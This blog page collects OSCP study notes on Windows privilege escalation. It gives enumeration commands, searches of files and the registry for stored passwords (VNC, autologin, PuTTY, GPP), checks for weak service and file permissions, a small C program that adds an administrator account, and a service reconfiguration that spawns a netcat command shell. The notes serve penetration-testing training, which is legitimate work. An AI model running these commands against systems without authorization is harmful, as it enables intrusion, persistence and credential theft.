

MENU

SECURISM

All about Information Security

OSCP NOTES – PRIVILEGE ESCALATION (WINDOWS)

USEFUL RESOURCES

<http://it-ovid.blogspot.in/2012/02/windows-privilege-escalation.html>

<http://toshellandback.com/2015/11/24/ms-priv-esc/>

WATCH YOU TUBE VIDEOS

<http://www.youtube.com/watch?v=kMG8lsCohHA>

http://www.youtube.com/watch?v=_8xJaaQlpBo

<http://www.greyhathacker.net/?p=738>

WINDOWS EXPLOIT SUGGESTER

<https://github.com/GDSSecurity/Windows-Exploit-Suggester>

```
python /home/nikhil/scripts/windows-exploit-suggester.py -d 2016-07-02-mssb.xls -i systeminfo -l
```

systeminfo file contains: ASCII output of 'systeminfo' command run in windows

-l : show only local exploits

<https://www.exploit-db.com/docs/26000.pdf>

WINDOWS ADMINISTRATOR TO SYSTEM

PSEXEC.exe -i -s -d CMD

<https://blogs.technet.microsoft.com/askds/2008/10/22/getting-a-cmd-prompt-as-system-in-windows-vista-and-windows-server-2008/>

<http://carnal0wnage.attackresearch.com/2013/07/admin-to-system-win7-with-remoteexe.html>

ADD ADMIN USER ACCOUNT

```
net user /add [username] [password]
net localgroup administrators [username] /add
```

Compile follow C code into exe to add admin user account

```
#include
int main()
{ int i;

i = system("net user /add ashoka qwerty");

i = system("net localgroup administrators ashoka /add");
return 0;
}
```

WINDOWS PRIV ESCALATION INFO GATHER

- windows-privesc-check2.exe

```
windows-privesc-check2.exe -audit -a -o wpc-report
```

- wmic_info.bat

BASIC COMMANDS

```
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

```
hostname
```

```
echo %username%
```

```
net users
```

```
net user user1
```

If user is in power user group, refer <https://blogs.technet.microsoft.com/markrussinovich/2006/05/01/the-power-in-power-users/>

```
net view
```

```
net user /domain
```

```
echo %logonserver%
```

```
ipconfig /all
```

```
route print
```

```
arp -A
```

```
netstat -ano
```

```
netsh firewall show state
```

```
netsh firewall show config
```

```
schtasks /query /fo LIST /v
```

```
tasklist /SVC
```

```
net start Running windows services  
DRIVERQUERY
```

Search for file names

```
dir /s *pass* == *cred* == *vnc* == *.config*
```

Search within files

```
findstr /si pass *.xml *.ini *.txt *.config *.cfg *.bat  
findstr /si pwd *.xml *.ini *.txt *.config *.cfg *.bat
```

Search registry

```
reg query HKLM /f password /t REG_SZ /s  
reg query HKLM /f pass /t REG_SZ /s  
reg query HKLM /f pwd /t REG_SZ /s  
reg query HKCU /f password /t REG_SZ /s
```

SEARCH FOR SENSITIVE FILES

```
dir sysprep.inf /s  
dir sysprep.xml /s  
dir Unattended.xml /s
```

WHEN MACHINE ON DOMAIN (GROUP POLICY PREFERENCE GPP)

Search groups.xml in SYSVOL

Metasploit module for extracting it : **post/windows/gather/credentials/gpp**

- C:\Windows\SYSVOL\sysvol*

- C:\ProgramData\Microsoft\Group Policy\History*

Extracted these two paths from above exploit module

Encryption key: <https://msdn.microsoft.com/en-us/library/Cc422924.aspx>

Good resource on this topic : <http://www.toshellandback.com/2015/08/30/gpp/>

INSTALL *.MSI AS SYSTEM IF

- reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated*

- reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated*

WINDOWS SERVICES

Info on service

```
sc qc
```

Prevents pop ups to user :

```
accesschk.exe /accepteula
```

Use accesschk 5.2 if 6.0 doesn't work

Access permissions on specific service

```
accesschk.exe -ucqv
```

Access permissions on specific Group

```
accesschk.exe -uwcqv "Authenticated Users" *
```

Look for following permissions

Permission	Good For Us?
SERVICE_CHANGE_CONFIG	Can reconfigure the service binary
WRITE_DAC	Can reconfigure permissions, leading to SERVICE_CHANGE_CONFIG
WRITE_OWNER	Can become owner, reconfigure permissions
GENERIC_WRITE	Inherits SERVICE_CHANGE_CONFIG
GENERIC_ALL	Inherits SERVICE_CHANGE_CONFIG

MODIFYING VULNERABLE SERVICES

```
sc qc upnphost
sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
net start upnphost
```

FILES/FOLDER PERMISSIONS

<http://www.greyhathacker.net/?p=738>

1. Examine ALL the binpaths for the windows services, scheduled tasks and startup tasks.

2. Look for permissions on files/folders if can be changed.
3. Replace the binaries/DLLs if possible

Find all weak folder permissions per drive.

```
accesschk.exe -uwdqs Users c:\  
accesschk.exe -uwdqs "Authenticated Users" c:\
```

Find all weak file permissions per drive.

```
accesschk.exe -uwqs Users c:\*. *  
accesschk.exe -uwqs "Authenticated Users" c:\*. *
```

Find weak permissions via Cacls or ICacls

```
cacls "C:\Program Files" /T | findstr Users  
or  
icacls "C:\Program Files" /T | findstr Users
```

DLL HIJACKING

If any service tries to access non-existing DLLs. But how to identify which services will do that? This might be done, by running the same service in a test environment and using sysinternal's procmon to see what DLLs are requested by the

service. DLL Redirection could also be used. [https://msdn.microsoft.com/en-us/library/windows/desktop/ms682600\(v=vs.85\).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms682600(v=vs.85).aspx)

You can see the DLL search order on 32-bit systems below:

- 1 – The directory from which the application loaded **No access as limited user**
- 2 – 32-bit System directory (C:\Windows\System32) **No access as limited user**
- 3 – 16-bit System directory (C:\Windows\System) **No access as limited user**
- 4 – Windows directory (C:\Windows) **No access as limited user**
- 5 – The current working directory (CWD) **NA**
- 6 – Directories in the PATH environment variable (system then user)

Check for permissions on directories in PATH environment variable

```
echo %PATH%  
accesschk.exe -dqv "C:\Python27"  
sc qc
```

Generate msfvenom DLL payload

VNC STORED

```
reg query "HKCU\Software\ORL\WinVNC3\Password"
```

WINDOWS AUTOLOGIN:

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
```

SNMP PARAMETERS:

```
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
```

PUTTY CLEAR TEXT PROXY CREDENTIALS:

```
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
```

PASSWORD RECOVERY TOOLS

<http://www.nirsoft.net/>

SHATTER ATTACK

For windows NT4.0, Win2000, WinXP

https://en.wikipedia.org/wiki/Shatter_attack

<http://www.hpl.hp.com/techreports/2005/HPL-2005-87.pdf>

SCHEDULED TASKS

`schtasks /query /fo LIST /v`

Find a task pointing to an insecure location

ORPHANED INSTALLS

Missing files in writable locations. But how to identify orphaned installs?

Advertisements



REPORT THIS AD

SHARE THIS:



Twitter



Facebook



Like

Be the first to like this

Be the first to like this.

LEAVE A REPLY

Enter your comment here...

Search ...

PAGES

- [Contact](#)
- [OSCP Notes – Buffer Overflow](#)
- [OSCP Notes – Exploitation](#)
- [OSCP Notes – File Transfers](#)
- [OSCP Notes – Information Gathering](#)
- [OSCP Notes – Meterpreter](#)
- [OSCP Notes – Password Attacks](#)
- [OSCP Notes – Port Forwarding](#)

- [OSCP Notes – Port Scanning](#)
 - [OSCP Notes – Privilege Escalation \(Linux\)](#)
 - [OSCP Notes – Privilege Escalation \(Windows\)](#)
 - [OSCP Notes – Shells](#)
-

